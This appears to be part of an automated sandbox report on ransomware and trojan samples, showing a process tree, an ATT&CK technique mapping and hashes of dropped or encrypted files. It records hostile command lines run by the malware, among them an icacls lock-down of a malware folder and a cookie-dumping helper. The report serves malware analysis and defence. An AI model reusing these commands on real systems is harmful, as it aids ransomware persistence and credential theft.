                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 6076 -s 1580
                                                                                                                                                            8⤵
                                                                                                                                                            • Program crash
                                                                                                                                                            PID:6804
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c arnatic_2.exe
                                                                                                                                                        6⤵
                                                                                                                                                          PID:5648
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4338A129\arnatic_2.exe
                                                                                                                                                            arnatic_2.exe
                                                                                                                                                            7⤵
                                                                                                                                                              PID:6096
                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 6096 -s 68
                                                                                                                                                                8⤵
                                                                                                                                                                • Program crash
                                                                                                                                                                PID:7100
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c arnatic_3.exe
                                                                                                                                                            6⤵
                                                                                                                                                              PID:5656
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS4338A129\arnatic_3.exe
                                                                                                                                                                arnatic_3.exe
                                                                                                                                                                7⤵
                                                                                                                                                                  PID:6068
                                                                                                                                                                  • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                                                                    "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",getmft
                                                                                                                                                                    8⤵
                                                                                                                                                                      PID:8008
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c arnatic_4.exe
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:5664
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4338A129\arnatic_4.exe
                                                                                                                                                                      arnatic_4.exe
                                                                                                                                                                      7⤵
                                                                                                                                                                        PID:5544
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                          8⤵
                                                                                                                                                                            PID:3376
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                            8⤵
                                                                                                                                                                              PID:6296
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /c arnatic_5.exe
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:5672
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS4338A129\arnatic_5.exe
                                                                                                                                                                              arnatic_5.exe
                                                                                                                                                                              7⤵
                                                                                                                                                                                PID:6088
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c arnatic_6.exe
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:5680
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS4338A129\arnatic_6.exe
                                                                                                                                                                                  arnatic_6.exe
                                                                                                                                                                                  7⤵
                                                                                                                                                                                    PID:5484
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c arnatic_7.exe
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:5688
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS4338A129\arnatic_7.exe
                                                                                                                                                                                      arnatic_7.exe
                                                                                                                                                                                      7⤵
                                                                                                                                                                                        PID:4296
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS4338A129\arnatic_7.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS4338A129\arnatic_7.exe
                                                                                                                                                                                          8⤵
                                                                                                                                                                                            PID:6908
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c arnatic_8.exe
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:5696
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS4338A129\arnatic_8.exe
                                                                                                                                                                                            arnatic_8.exe
                                                                                                                                                                                            7⤵
                                                                                                                                                                                              PID:5408
                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5268 -s 484
                                                                                                                                                                                            6⤵
                                                                                                                                                                                            • Program crash
                                                                                                                                                                                            PID:5892
                                                                                                                                                                                    • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-7d6cf76c07b65850d9c11155ae8050bd10558fc326f0796693904b1736cf4faf.exe
                                                                                                                                                                                      HEUR-Trojan-Ransom.Win32.Stop.gen-7d6cf76c07b65850d9c11155ae8050bd10558fc326f0796693904b1736cf4faf.exe
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:3800
                                                                                                                                                                                        • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-7d6cf76c07b65850d9c11155ae8050bd10558fc326f0796693904b1736cf4faf.exe
                                                                                                                                                                                          HEUR-Trojan-Ransom.Win32.Stop.gen-7d6cf76c07b65850d9c11155ae8050bd10558fc326f0796693904b1736cf4faf.exe
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:6508
                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                              icacls "C:\Users\Admin\AppData\Local\b8d2fc04-9169-4d57-b01b-efb571df78fa" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                                                                                                              5⤵
                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                              PID:8172
                                                                                                                                                                                            • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-7d6cf76c07b65850d9c11155ae8050bd10558fc326f0796693904b1736cf4faf.exe
                                                                                                                                                                                              "C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-7d6cf76c07b65850d9c11155ae8050bd10558fc326f0796693904b1736cf4faf.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                              5⤵
                                                                                                                                                                                                PID:6488
                                                                                                                                                                                                • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-7d6cf76c07b65850d9c11155ae8050bd10558fc326f0796693904b1736cf4faf.exe
                                                                                                                                                                                                  "C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-7d6cf76c07b65850d9c11155ae8050bd10558fc326f0796693904b1736cf4faf.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                    PID:6100
                                                                                                                                                                                            • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-acc3b48cd0873ffa9a1777f269ff514af019b538386306738e90fefaa18d3827.exe
                                                                                                                                                                                              HEUR-Trojan-Ransom.Win32.Stop.gen-acc3b48cd0873ffa9a1777f269ff514af019b538386306738e90fefaa18d3827.exe
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:5444
                                                                                                                                                                                                • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-acc3b48cd0873ffa9a1777f269ff514af019b538386306738e90fefaa18d3827.exe
                                                                                                                                                                                                  HEUR-Trojan-Ransom.Win32.Stop.gen-acc3b48cd0873ffa9a1777f269ff514af019b538386306738e90fefaa18d3827.exe
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:6024
                                                                                                                                                                                                    • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-acc3b48cd0873ffa9a1777f269ff514af019b538386306738e90fefaa18d3827.exe
                                                                                                                                                                                                      "C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-acc3b48cd0873ffa9a1777f269ff514af019b538386306738e90fefaa18d3827.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                        PID:5252
                                                                                                                                                                                                        • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-acc3b48cd0873ffa9a1777f269ff514af019b538386306738e90fefaa18d3827.exe
                                                                                                                                                                                                          "C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-acc3b48cd0873ffa9a1777f269ff514af019b538386306738e90fefaa18d3827.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:6856
                                                                                                                                                                                                    • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-ebb659e54a4fa329f2a0f43a3e4b7d4b4edd499dafeffd524b1ec8f9eec7e6af.exe
                                                                                                                                                                                                      HEUR-Trojan-Ransom.Win32.Stop.gen-ebb659e54a4fa329f2a0f43a3e4b7d4b4edd499dafeffd524b1ec8f9eec7e6af.exe
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:5976
                                                                                                                                                                                                        • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-ebb659e54a4fa329f2a0f43a3e4b7d4b4edd499dafeffd524b1ec8f9eec7e6af.exe
                                                                                                                                                                                                          HEUR-Trojan-Ransom.Win32.Stop.gen-ebb659e54a4fa329f2a0f43a3e4b7d4b4edd499dafeffd524b1ec8f9eec7e6af.exe
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:7940
                                                                                                                                                                                                            • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-ebb659e54a4fa329f2a0f43a3e4b7d4b4edd499dafeffd524b1ec8f9eec7e6af.exe
                                                                                                                                                                                                              "C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-ebb659e54a4fa329f2a0f43a3e4b7d4b4edd499dafeffd524b1ec8f9eec7e6af.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                PID:7688
                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-ebb659e54a4fa329f2a0f43a3e4b7d4b4edd499dafeffd524b1ec8f9eec7e6af.exe
                                                                                                                                                                                                                  "C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-ebb659e54a4fa329f2a0f43a3e4b7d4b4edd499dafeffd524b1ec8f9eec7e6af.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                    PID:7800
                                                                                                                                                                                                            • C:\Users\Admin\Desktop\00466\HEUR-Trojan.MSIL.Crypt.gen-06014a9c4f874d36f8fc58792d04850440d00a468e1429d09c51ad94a5a0dc46.exe
                                                                                                                                                                                                              HEUR-Trojan.MSIL.Crypt.gen-06014a9c4f874d36f8fc58792d04850440d00a468e1429d09c51ad94a5a0dc46.exe
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:6304
                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00466\HEUR-Trojan.MSIL.Crypt.gen-1c5ad7c9da1e7dad1fd4f36d94bd8460eb27ce43588a9ab39042d2939fb47aeb.exe
                                                                                                                                                                                                                HEUR-Trojan.MSIL.Crypt.gen-1c5ad7c9da1e7dad1fd4f36d94bd8460eb27ce43588a9ab39042d2939fb47aeb.exe
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:6944
                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00466\HEUR-Trojan.MSIL.Crypt.gen-218f7f7b8ef1f5137f9898d4aa830ddaca357c7d4788844225d29f866e0a3542.exe
                                                                                                                                                                                                                  HEUR-Trojan.MSIL.Crypt.gen-218f7f7b8ef1f5137f9898d4aa830ddaca357c7d4788844225d29f866e0a3542.exe
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:6000
                                                                                                                                                                                                                  • C:\Users\Admin\Desktop\00466\HEUR-Trojan.MSIL.Crypt.gen-23e28204577c5dee3da2e6e63fc67ef102c032552d1a49815f1df0c6d6e9055c.exe
                                                                                                                                                                                                                    HEUR-Trojan.MSIL.Crypt.gen-23e28204577c5dee3da2e6e63fc67ef102c032552d1a49815f1df0c6d6e9055c.exe
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:4356
                                                                                                                                                                                                                    • C:\Users\Admin\Desktop\00466\HEUR-Trojan.MSIL.Crypt.gen-2cb7c7c1cb918607912be236d42152a8f9d5347cabf4e815940f2b85c5d9f026.exe
                                                                                                                                                                                                                      HEUR-Trojan.MSIL.Crypt.gen-2cb7c7c1cb918607912be236d42152a8f9d5347cabf4e815940f2b85c5d9f026.exe
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:8144
                                                                                                                                                                                                                      • C:\Users\Admin\Desktop\00466\HEUR-Trojan.MSIL.Crypt.gen-35e5173b554d9b449fbf3da5f91f398393a65c081b8660aa48dd20eb3f0040db.exe
                                                                                                                                                                                                                        HEUR-Trojan.MSIL.Crypt.gen-35e5173b554d9b449fbf3da5f91f398393a65c081b8660aa48dd20eb3f0040db.exe
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:7084
                                                                                                                                                                                                                        • C:\Users\Admin\Desktop\00466\HEUR-Trojan.MSIL.Crypt.gen-8ea628238f0a43298a022ff7294d95afa8c9c734d151f8945194ab386ef557b2.exe
                                                                                                                                                                                                                          HEUR-Trojan.MSIL.Crypt.gen-8ea628238f0a43298a022ff7294d95afa8c9c734d151f8945194ab386ef557b2.exe
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:7984
                                                                                                                                                                                                                      • C:\Windows\system32\taskmgr.exe
                                                                                                                                                                                                                        "C:\Windows\system32\taskmgr.exe" /4
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                        • Checks SCSI registry key(s)
                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                        • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                        PID:5080
                                                                                                                                                                                                                        • C:\Windows\system32\taskmgr.exe
                                                                                                                                                                                                                          "C:\Windows\system32\taskmgr.exe" /1
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Drops startup file
                                                                                                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                                                                                                                                          PID:3076
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5112 -ip 5112
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:4424
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2356 -ip 2356
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                            PID:3832
                                                                                                                                                                                                                          • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                            C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:2992
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 5268 -ip 5268
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                PID:5776
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 6096 -ip 6096
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                  PID:7488
                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                    PID:3788
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 6076 -ip 6076
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:6156
                                                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:8000
                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:3960
                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s FDResPub
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:7840
                                                                                                                                                                                                                                          • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                                                                            "LogonUI.exe" /flags:0x4 /state0:0xa389b855 /state1:0x41c64e6d
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:5232

                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                            Reconnaissance

                                                                                                                                                                                                                                            Resource Development

                                                                                                                                                                                                                                            Initial Access

                                                                                                                                                                                                                                            Execution

                                                                                                                                                                                                                                            Command and Scripting Interpreter

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1059

                                                                                                                                                                                                                                            PowerShell

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1059.001

                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                            Scheduled Task

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1053.005

                                                                                                                                                                                                                                            System Services

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1569

                                                                                                                                                                                                                                            Service Execution

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1569.002

                                                                                                                                                                                                                                            Windows Management Instrumentation

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1047

                                                                                                                                                                                                                                            Persistence

                                                                                                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                            T1547

                                                                                                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1547.001

                                                                                                                                                                                                                                            Winlogon Helper DLL

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1547.004

                                                                                                                                                                                                                                            Create or Modify System Process

                                                                                                                                                                                                                                            4
                                                                                                                                                                                                                                            T1543

                                                                                                                                                                                                                                            Windows Service

                                                                                                                                                                                                                                            4
                                                                                                                                                                                                                                            T1543.003

                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                            Scheduled Task

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1053.005

                                                                                                                                                                                                                                            Privilege Escalation

                                                                                                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                            T1547

                                                                                                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1547.001

                                                                                                                                                                                                                                            Winlogon Helper DLL

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1547.004

                                                                                                                                                                                                                                            Create or Modify System Process

                                                                                                                                                                                                                                            4
                                                                                                                                                                                                                                            T1543

                                                                                                                                                                                                                                            Windows Service

                                                                                                                                                                                                                                            4
                                                                                                                                                                                                                                            T1543.003

                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                            Scheduled Task

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1053.005

                                                                                                                                                                                                                                            Defense Evasion

                                                                                                                                                                                                                                            File and Directory Permissions Modification

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1222

                                                                                                                                                                                                                                            Hide Artifacts

                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                            T1564

                                                                                                                                                                                                                                            Hidden Files and Directories

                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                            T1564.001

                                                                                                                                                                                                                                            Impair Defenses

                                                                                                                                                                                                                                            4
                                                                                                                                                                                                                                            T1562

                                                                                                                                                                                                                                            Disable or Modify System Firewall

                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                            T1562.004

                                                                                                                                                                                                                                            Disable or Modify Tools

                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                            T1562.001

                                                                                                                                                                                                                                            Indicator Removal

                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                            T1070

                                                                                                                                                                                                                                            File Deletion

                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                            T1070.004

                                                                                                                                                                                                                                            Modify Registry

                                                                                                                                                                                                                                            8
                                                                                                                                                                                                                                            T1112

                                                                                                                                                                                                                                            Credential Access

                                                                                                                                                                                                                                            Discovery

                                                                                                                                                                                                                                            Peripheral Device Discovery

                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                            T1120

                                                                                                                                                                                                                                            Process Discovery

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1057

                                                                                                                                                                                                                                            Query Registry

                                                                                                                                                                                                                                            5
                                                                                                                                                                                                                                            T1012

                                                                                                                                                                                                                                            Remote System Discovery

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1018

                                                                                                                                                                                                                                            System Information Discovery

                                                                                                                                                                                                                                            6
                                                                                                                                                                                                                                            T1082

                                                                                                                                                                                                                                            System Location Discovery

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1614

                                                                                                                                                                                                                                            System Language Discovery

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1614.001

                                                                                                                                                                                                                                            System Network Configuration Discovery

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1016

                                                                                                                                                                                                                                            Internet Connection Discovery

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1016.001

                                                                                                                                                                                                                                            Lateral Movement

                                                                                                                                                                                                                                            Collection

                                                                                                                                                                                                                                            Command and Control

                                                                                                                                                                                                                                            Proxy

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1090

                                                                                                                                                                                                                                            Web Service

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1102

                                                                                                                                                                                                                                            Exfiltration

                                                                                                                                                                                                                                            Impact

                                                                                                                                                                                                                                            Inhibit System Recovery

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1490

                                                                                                                                                                                                                                            Service Stop

                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                            T1489

                                                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                                                            • C:\Program Files\7-Zip\7-zip.chm.exe
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              1.8MB

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              4c937a7e5cf55755116e0bcbd2591891

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              abd7b790ec181bd9913fdaf40260074b8dd50b29

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              e3dbc7e3df334a0b1f1575d0aca70ee2b7147d573208c3aad9a458f5b67dab9b

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              a71cf5b14b43421f554ba4d1da6ed387ca31f910144a53d1b133b6206fdaa673cbb20ba5275cb79ed8ae485f2283f6c6ee927277a81bad07c60ed35c99d6deeb

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\Program Files\7-Zip\7-zip32.dll
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              1.8MB

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              0e37c7c1d6ee9819df82ed78d8a04638

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              86e7baa63be2c58d1f180b89c38001b7cfafbc5b

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              7cd914ebe3f2400a70b5bb3cf6c8de8006da9bc3570a791506435820066007cb

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              59440e26394b22e36ce7af7c95f65ffb94da7342ed287318c99e1a62696470956fda0fc050837dcb5a834237fdfb7c1c742d50651058e5180487bb9721f07902

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\ProgramData\Microsoft\Network\Downloader\edbtmp.log.blocked
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              1.3MB

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              78ebd2a95bf58efdf12213b8d438f197

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              89a2c709db41d73b6a2178cf53a40072cdee785c

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              7da01c5005845d29c5d2aa71c0fbafc22a8dadb99d80a5211a6dadabdc6f3412

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              713a14f06d7bb27dabb80f23fefc445255e04f1872beea35f53d863488e2f3392d5f755f25021021856509a0b54da34df7820256ec5303d22c898602585d65c7

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\ProgramData\Package Cache\{2BB73336-4F69-4141-9797-E9BD6FE3980A}v64.8.8795\dotnet-host-8.0.2-win-x64.msi.blocked
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              728KB

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              54db8893aeb22fcd57711207d9ea2955

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              63b0c158710263b66a236e3b4b8f5706f4e72ce2

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              9da9b3f5cb4279796ee860d08c8f444e922eeb6ece53320331dfc3cb89b3c857

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              38859923db48a4dc37d2e1c5646894212e9d2bfb029938daff0291a07cfd061ec12c493571acf5456ee1ac65cd44464b43d54f0eead00f051913e9a501d31e45

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.blocked
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              180KB

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              845e9976df9cc02056ad8ad54529b086

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              0a4036ac75cc4eac07896dfd959d43421a953bd0

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              fcd31a41623474d6f589818eec6a1cf9928eacdea5e37ade3b75f32310bb07c5

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              f29416f1d30ed2c1f6e06e86b260b2171fb7f2c89d0ce73ad45f8cd828aff92c216105673d5874828378cfb6404a358dcff8c534b1fd1954b83d570d26f157fd

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\ProgramData\Package Cache\{F6080405-9FA8-4CAA-9982-14E95D1A3DAC}v14.30.30704\packages\vcRuntimeMinimum_x86\HowToRestoreMyFiles.txt
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              1KB

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              1b38b005ee52494fb8f7c7f3a952c40c

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              8bdf92eeee5384a54ac9507f969f5178446fb138

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              ae0b4e65e7c9646a56eac7d73401e5e393cec2fa50e4bd0da5473e081c7bff63

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              567d4b3409b725b7d683de0fecf962482a2265b6846d97bc9c8d7bc206ca878d02acb34ac3e813ca8776a80760e2824e18e823b4336c99d18ed886c774b86848

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
                                                                                                                                                                                                                                              Filesize

